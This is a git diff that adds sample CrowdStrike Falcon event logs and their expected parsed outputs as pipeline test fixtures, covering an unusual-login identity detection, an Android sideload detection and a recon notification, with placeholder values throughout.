+		"ActivityId": "12345678-1234-1234-1234-123456789000",
+		"PatternId": 51135
+	}
+}
+{
+	"metadata": {
+		"customerIDString": "12312312312312321",
+		"offset": 2662765,
+		"eventType": "IdpDetectionSummaryEvent",
+		"eventCreationTime": 1686848064000,
+		"version": "1.0"
+	},
+	"event": {
+		"ContextTimeStamp": 133221234560000000,
+		"DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
+		"DetectName": "Unusual login to an endpoint",
+		"DetectDescription": "A user logged in to a machine for the first time",
+		"FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
+		"StartTime": 123456789000000000,
+		"EndTime": 123456789000000000,
+		"Severity": 7,
+		"Tactic": "Initial Access",
+		"Technique": "Valid Accounts",
+		"Objective": "Gain Access",
+		"SourceAccountDomain": "DOMAIN.COM",
+		"SourceAccountName": "johnb",
+		"SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
+		"SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
+		"SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
+		"SourceEndpointHostName": "pc01.domain.com",
+		"SourceEndpointIpAddress": "81.2.69.144",
+		"SourceEndpointSensorId": "12345678901234567890123456789012",
+		"PrecedingActivityTimeStamp": 133154452345780000,
+		"MostRecentActivityTimeStamp": 133313215755670000,
+		"ActivityId": "12345678-1234-1234-1234-123456789000",
+		"PatternId": 51135,
+		"MitreAttack": [
+			{
+				"Tactic": "Initial Access",
+				"Technique": "Valid Accounts",
+				"PatternID": 51135
+			}
+		]
+	}
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json
new file mode 100644
index 0000000000..e2d1d49c31
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json
@@ -0,0 +1,181 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-15T16:54:24.000Z",
+            "crowdstrike": {
+                "event": {
+                    "ActivityId": "12345678-1234-1234-1234-123456789000",
+                    "MostRecentActivityTimeStamp": 1686847975567,
+                    "Objective": "Gain Access",
+                    "PatternId": "51135",
+                    "PrecedingActivityTimeStamp": 1670971634578,
+                    "Severity": 7,
+                    "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
+                    "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
+                    "SourceEndpointSensorId": "12345678901234567890123456789012"
+                },
+                "metadata": {
+                    "customerIDString": "12312312312312321",
+                    "eventType": "IdpDetectionSummaryEvent",
+                    "offset": 2662765,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "ipd-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-03-01T05:50:56.000Z",
+                "end": "1992-03-21T19:15:00.000Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135\n\t}\n}",
+                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
+                "start": "1992-03-21T19:15:00.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "name": "pc01.domain.com"
+            },
+            "message": "A user logged in to a machine for the first time",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "pc01.domain.com"
+                ],
+                "user": [
+                    "johnb"
+                ]
+            },
+            "rule": {
+                "description": "A user logged in to a machine for the first time",
+                "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
+                "name": "Unusual login to an endpoint",
+                "uuid": "51135"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Initial Access"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Valid Accounts"
+                    ]
+                }
+            },
+            "user": {
+                "domain": "DOMAIN.COM",
+                "id": "S-1-3-44-55555555-666666666-7777777777-88888",
+                "name": "johnb"
+            }
+        },
+        {
+            "@timestamp": "2023-06-15T16:54:24.000Z",
+            "crowdstrike": {
+                "event": {
+                    "ActivityId": "12345678-1234-1234-1234-123456789000",
+                    "MitreAttack": [
+                        {
+                            "PatternID": "51135",
+                            "Tactic": "Initial Access",
+                            "Technique": "Valid Accounts"
+                        }
+                    ],
+                    "MostRecentActivityTimeStamp": 1686847975567,
+                    "Objective": "Gain Access",
+                    "PatternId": "51135",
+                    "PrecedingActivityTimeStamp": 1670971634578,
+                    "Severity": 7,
+                    "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
+                    "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
+                    "SourceEndpointSensorId": "12345678901234567890123456789012"
+                },
+                "metadata": {
+                    "customerIDString": "12312312312312321",
+                    "eventType": "IdpDetectionSummaryEvent",
+                    "offset": 2662765,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "ipd-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-03-01T05:50:56.000Z",
+                "end": "1992-03-21T19:15:00.000Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135,\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"Technique\": \"Valid Accounts\",\n\t\t\t\t\"PatternID\": 51135\n\t\t\t}\n\t\t]\n\t}\n}",
+                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
+                "start": "1992-03-21T19:15:00.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "name": "pc01.domain.com"
+            },
+            "message": "A user logged in to a machine for the first time",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "pc01.domain.com"
+                ],
+                "user": [
+                    "johnb"
+                ]
+            },
+            "rule": {
+                "description": "A user logged in to a machine for the first time",
+                "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
+                "name": "Unusual login to an endpoint",
+                "uuid": "51135"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Initial Access"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Valid Accounts"
+                    ]
+                }
+            },
+            "user": {
+                "domain": "DOMAIN.COM",
+                "id": "S-1-3-44-55555555-666666666-7777777777-88888",
+                "name": "johnb"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log
new file mode 100644
index 0000000000..9a5d1e9499
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log
@@ -0,0 +1,80 @@
+{
+	"metadata": {
+		"customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
+		"offset": 701283,
+		"eventType": "MobileDetectionSummaryEvent",
+		"eventCreationTime": 1649420269000,
+		"version": "1.0"
+	},
+	"event": {
+		"SensorId": "85ae98xxxxxxd9a8f2",
+		"MobileDetectionId": 1310556238,
+		"ComputerName": "TESTComputer",
+		"UserName": "TestUSER",
+		"ContextTimeStamp": 1649061056,
+		"DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
+		"DetectName": "AppSideloadDetected",
+		"DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
+		"Tactic": "Insecure security posture",
+		"TacticId": "CSTA0009",
+		"Technique": "Bad device settings",
+		"TechniqueId": "CST0024",
+		"Objective": "Falcon Detection Method",
+		"Severity": 50,
+		"FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
+		"MobileAppsDetails": [{
+			"AppIdentifier": "com.facebook.katana",
+			"AndroidAppLabel": "Facebook",
+			"DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
+			"ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
+			"AppInstallerInformation": "unknown",
+			"IsBeingDebugged": false,
+			"AndroidAppVersionName": "323.0.0.46.119",
+			"IsContainerized": false
+		}]
+	}
+}
+{
+	"metadata": {
+		"customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
+		"offset": 701283,
+		"eventType": "MobileDetectionSummaryEvent",
+		"eventCreationTime": 1649420269000,
+		"version": "1.0"
+	},
+	"event": {
+		"SensorId": "85ae98xxxxxxd9a8f2",
+		"MobileDetectionId": 1310556238,
+		"ComputerName": "TESTComputer",
+		"UserName": "TestUSER",
+		"ContextTimeStamp": 1649061056,
+		"DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
+		"DetectName": "AppSideloadDetected",
+		"DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
+		"Tactic": "Insecure security posture",
+		"TacticId": "CSTA0009",
+		"Technique": "Bad device settings",
+		"TechniqueId": "CST0024",
+		"Objective": "Falcon Detection Method",
+		"Severity": 50,
+		"FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
+		"MitreAttack": [
+			{
+				"Tactic": "Insecure security posture",
+				"TacticID": "CSTA0009",
+				"Technique": "Bad device settings",
+				"TechniqueID": "CST0024"
+			}
+		],
+		"MobileAppsDetails": [{
+			"AppIdentifier": "com.facebook.katana",
+			"AndroidAppLabel": "Facebook",
+			"DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
+			"ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
+			"AppInstallerInformation": "unknown",
+			"IsBeingDebugged": false,
+			"AndroidAppVersionName": "323.0.0.46.119",
+			"IsContainerized": false
+		}]
+	}
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json
new file mode 100644
index 0000000000..d9f92bfbdc
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json
@@ -0,0 +1,196 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2022-04-08T12:17:49.000Z",
+            "crowdstrike": {
+                "event": {
+                    "MobileAppsDetails": [
+                        {
+                            "AndroidAppLabel": "Facebook",
+                            "AndroidAppVersionName": "323.0.0.46.119",
+                            "AppIdentifier": "com.facebook.katana",
+                            "AppInstallerInformation": "unknown",
+                            "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
+                            "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
+                            "IsBeingDebugged": false,
+                            "IsContainerized": false
+                        }
+                    ],
+                    "Objective": "Falcon Detection Method",
+                    "Severity": 50
+                },
+                "metadata": {
+                    "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
+                    "eventType": "MobileDetectionSummaryEvent",
+                    "offset": 701283,
+                    "version": "1.0"
+                }
+            },
+            "device": {
+                "id": "85ae98xxxxxxd9a8f2"
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "mobile-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2022-04-04T08:30:56.000Z",
+                "id": "1310556238",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}",
+                "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "name": "TESTComputer"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "TESTComputer"
+                ],
+                "user": [
+                    "TestUSER"
+                ]
+            },
+            "rule": {
+                "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
+                "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
+                "name": "AppSideloadDetected"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0009"
+                    ],
+                    "name": [
+                        "Insecure security posture"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0024"
+                    ],
+                    "name": [
+                        "Bad device settings"
+                    ]
+                }
+            },
+            "user": {
+                "name": "TestUSER"
+            }
+        },
+        {
+            "@timestamp": "2022-04-08T12:17:49.000Z",
+            "crowdstrike": {
+                "event": {
+                    "MitreAttack": [
+                        {
+                            "Tactic": "Insecure security posture",
+                            "TacticID": "CSTA0009",
+                            "Technique": "Bad device settings",
+                            "TechniqueID": "CST0024"
+                        }
+                    ],
+                    "MobileAppsDetails": [
+                        {
+                            "AndroidAppLabel": "Facebook",
+                            "AndroidAppVersionName": "323.0.0.46.119",
+                            "AppIdentifier": "com.facebook.katana",
+                            "AppInstallerInformation": "unknown",
+                            "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
+                            "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
+                            "IsBeingDebugged": false,
+                            "IsContainerized": false
+                        }
+                    ],
+                    "Objective": "Falcon Detection Method",
+                    "Severity": 50
+                },
+                "metadata": {
+                    "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
+                    "eventType": "MobileDetectionSummaryEvent",
+                    "offset": 701283,
+                    "version": "1.0"
+                }
+            },
+            "device": {
+                "id": "85ae98xxxxxxd9a8f2"
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "mobile-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2022-04-04T08:30:56.000Z",
+                "id": "1310556238",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t}\n\t\t],\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}",
+                "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "name": "TESTComputer"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "TESTComputer"
+                ],
+                "user": [
+                    "TestUSER"
+                ]
+            },
+            "rule": {
+                "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
+                "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
+                "name": "AppSideloadDetected"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0009"
+                    ],
+                    "name": [
+                        "Insecure security posture"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0024"
+                    ],
+                    "name": [
+                        "Bad device settings"
+                    ]
+                }
+            },
+            "user": {
+                "name": "TestUSER"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log
new file mode 100644
index 0000000000..d411bb7c1a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log
@@ -0,0 +1 @@
+400
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json
new file mode 100644
index 0000000000..c97daacf23
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json
@@ -0,0 +1,5 @@
+{
+    "expected": [
+        null
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log
new file mode 100644
index 0000000000..8d77763fc5
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log
@@ -0,0 +1,23 @@
+{
+    "metadata": {
+        "customerIDString": "1231231231231",
+        "offset": 2664218,
+        "eventType": "ReconNotificationSummaryEvent",
+        "eventCreationTime": 1686889114000,
+        "version": "1.0"
+    },
+    "event": {
+        "NotificationId": "oifgdjgpoidfsjhpoihio",
+        "Highlights": [
+            "Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text"
+        ],
+        "MatchedTimestamp": 1686889114000,
+        "RuleId": "123543-0cb1-4806-9ccd-a543123",
+        "RuleName": "TestRuleName",
+        "RuleTopic": "TestRuleTopic",
+        "RulePriority": "high",
+        "ItemId": "oigjfdsiughsiopudhfoiusadhfiouhipou==",
+        "ItemType": "post",
+        "ItemPostedTimestamp": 1686873909000
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json
new file mode 100644
index 0000000000..5d97d87ebb
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json
@@ -0,0 +1,53 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-16T04:18:34.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Highlights": [
+                        "Some highlighed text &lt;cs-highlight&gt;test&lt;/cs-highlight&gt; &lt;cs-highlight&gt;gdsfgasd&lt;/cs-highlight&gt;.\n\nAs an Some more text"
+                    ],
+                    "ItemPostedTimestamp": 1686873909000,
+                    "ItemType": "post",
+                    "NotificationId": "oifgdjgpoidfsjhpoihio",
+                    "RulePriority": "high"
+                },
+                "metadata": {
+                    "customerIDString": "1231231231231",
+                    "eventType": "ReconNotificationSummaryEvent",
+                    "offset": 2664218,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "recon-notification-post",
+                "category": [
+                    "threat"
+                ],
+                "created": "2023-06-16T00:05:09.000Z",
+                "id": "oigjfdsiughsiopudhfoiusadhfiouhipou==",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"1231231231231\",\n        \"offset\": 2664218,\n        \"eventType\": \"ReconNotificationSummaryEvent\",\n        \"eventCreationTime\": 1686889114000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"NotificationId\": \"oifgdjgpoidfsjhpoihio\",\n        \"Highlights\": [\n            \"Some highlighed text \\u0026lt;cs-highlight\\u0026gt;test\\u0026lt;/cs-highlight\\u0026gt; \\u0026lt;cs-highlight\\u0026gt;gdsfgasd\\u0026lt;/cs-highlight\\u0026gt;.\\n\\nAs an Some more text\"\n        ],\n        \"MatchedTimestamp\": 1686889114000,\n        \"RuleId\": \"123543-0cb1-4806-9ccd-a543123\",\n        \"RuleName\": \"TestRuleName\",\n        \"RuleTopic\": \"TestRuleTopic\",\n        \"RulePriority\": \"high\",\n        \"ItemId\": \"oigjfdsiughsiopudhfoiusadhfiouhipou==\",\n        \"ItemType\": \"post\",\n        \"ItemPostedTimestamp\": 1686873909000\n    }\n}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "observer": {
+                "product": "Falcon",
